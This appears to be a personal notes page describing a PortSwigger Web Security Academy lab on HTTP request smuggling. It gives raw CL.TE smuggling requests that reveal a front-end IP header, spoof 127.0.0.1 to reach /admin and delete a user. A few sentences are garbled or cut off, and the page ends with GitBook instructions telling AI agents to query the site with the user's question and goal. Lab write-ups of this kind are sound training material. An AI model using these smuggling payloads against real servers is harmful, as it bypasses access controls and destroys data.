> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md).
# Discovery of Rewriting Through the Front End
Discovery of Rewriting Through the Front End notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Reveal Front-end Request Rewriting
The site is based on a front-end server and a back-end server. The front-end\*\* does not accept chunked encoding\*\*. / Access to the admin board /admin is reserved for users from **127.0.0.1**. / Before forwarding requests to the back-end, the front-end \*\* adds a custom header containing the customer's IP address\*\*. This behavior looks like the classic X-Forwarded-For, but the header name is different.
The objective is twofold:
1. **Dirce a request** to reveal the name of this header added by the front-end.
2. **Send a smuggled** query containing this header, forcing it to the value 127.0.0.1, to access the admin panel and delete the carlos user.
#### **Behavioral Analysis**
* The field sent in the search parameter is returned in the answer, showing that we can use it to observe the effects of our injections.
* Sending:
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
the request is processed without error (200 OK), which confirms that **the front-end interprets Content-Length**, while **the back-end ignores Transfer-Encoding**.
* When smuggling an additional POST request:
```http
Content-Length: 55
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 13
search=test
```
the excess bytes (here,
* By increasing the Content-Length to 125, the answer exposes the header added by the front-end. / This header is:
```http
Content-Length: 125
```
X-KwWCmS-Ip
#### **Access to the Administration Panel**
By forging a smuggled query that includes this header forced to **127.0.0.1**, you get access to /admin:
```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13
search=test
```
#### **Deletion of the Carlos User**
A second smuggled query allows you to call directly the deleteendpoint:
```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked
0
POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13
search=test
```
The carlos user is then deleted via the back-end, making it look like an authorized internal request.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
